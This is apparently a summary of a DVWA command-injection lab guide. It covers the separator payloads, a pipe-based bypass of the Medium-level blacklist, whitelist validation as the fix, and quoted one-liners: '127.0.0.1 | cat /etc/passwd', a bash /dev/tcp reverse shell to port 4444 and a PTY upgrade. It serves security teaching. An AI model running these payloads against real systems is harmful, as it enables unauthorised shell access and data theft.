Lab 3: DVWA Command Injection Lab 2026 — Inject OS Commands & Get a Reverse Shell

This article is a hands-on lab guide teaching command injection exploitation against DVWA, progressing from basic OS command execution through reverse shell establishment to filter bypass and secure prevention. Command injection is presented as a critical web vulnerability that escalates from form input directly to OS-level server compromise, making it one of the most impactful attack vectors in web application security. The guide covers all four DVWA security levels, demonstrating both exploitation techniques and the correct whitelist-based validation needed to prevent the vulnerability.

• Command injection escalates from web form to full OS accessThe article explains that command injection allows an attacker to append OS commands to user input using separator characters (semicolon, pipe, double ampersand) and execute them on the server. A single successful injection permits reading any file, creating users, establishing reverse shells, and pivoting to other machines the server can reach, making it fundamentally different from SQL injection which only affects databases.
• Three separator characters enable injection at Low securityAt DVWA's Low security level, semicolon (;) terminates the first command and starts a new one, pipe (|) feeds the first command's output into the second, and double ampersand (&&) runs the second command only if the first succeeds. The article provides specific example payloads like '127.0.0.1; whoami' and '127.0.0.1 | cat /etc/passwd' that work because input passes directly to shell_exec with no sanitisation.
• Reverse shell transforms web vulnerability to interactive accessThe article demonstrates that injecting 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' opens a persistent connection from the DVWA server back to a Netcat listener, providing an interactive terminal session that can be upgraded to a full PTY using 'python3 -c import pty;pty.spawn("/bin/bash")'. This gives the attacker multi-command persistence and navigation capability, unlike single-command injection responses in a web form.
• Blacklist filtering at Medium security remains bypassableAt Medium security, DVWA blocks semicolon and double ampersand characters, but the pipe separator (|) is not included in the blacklist. The article shows that '127.0.0.1 | whoami' and similar pipe payloads bypass the filter because developers attempted to blacklist specific characters rather than validating only legitimate input characters, and cannot enumerate all possible separators.
• Whitelist validation provides structural injection preventionThe article contrasts Low-level code that passes raw input directly to shell_exec() with Impossible-level code that uses strict whitelist validation. The secure approach splits the input on dots, validates each octet is numeric and between 0-255, and rejects anything else before reaching shell_exec. This makes command injection structurally impossible because only valid IP address characters can pass validation.
• Common progression shows why blacklist always failsThe article documents that Low security has no validation, Medium security adds a partial blacklist blocking semicolon and &&, High security adds a longer blacklist still missing separators, and only Impossible uses whitelist-based validation. This progression illustrates the repeated developer mistake of attempting to enumerate dangerous characters rather than whitelisting only safe input.
• OWASP ranks command injection as highest-severity injection typeThe article notes that OWASP consistently ranks injection attacks in the Top 3 critical vulnerabilities, with command injection being the most severe because it grants OS-level access rather than just database access. This OS-level access enables full server compromise, data exfiltration, and lateral movement across internal networks, distinguishing it from other injection types.

Bottom line: Command injection exploited through unsanitised input passed to shell functions escalates directly from a web form to complete OS-level server compromise, and can only be prevented through strict whitelist validation of input characters rather than blacklisting separators, which the article demonstrates across DVWA's four security levels. The article shows that a reverse shell payload transforms abstract command execution into a practical, interactive terminal session that proves critical impact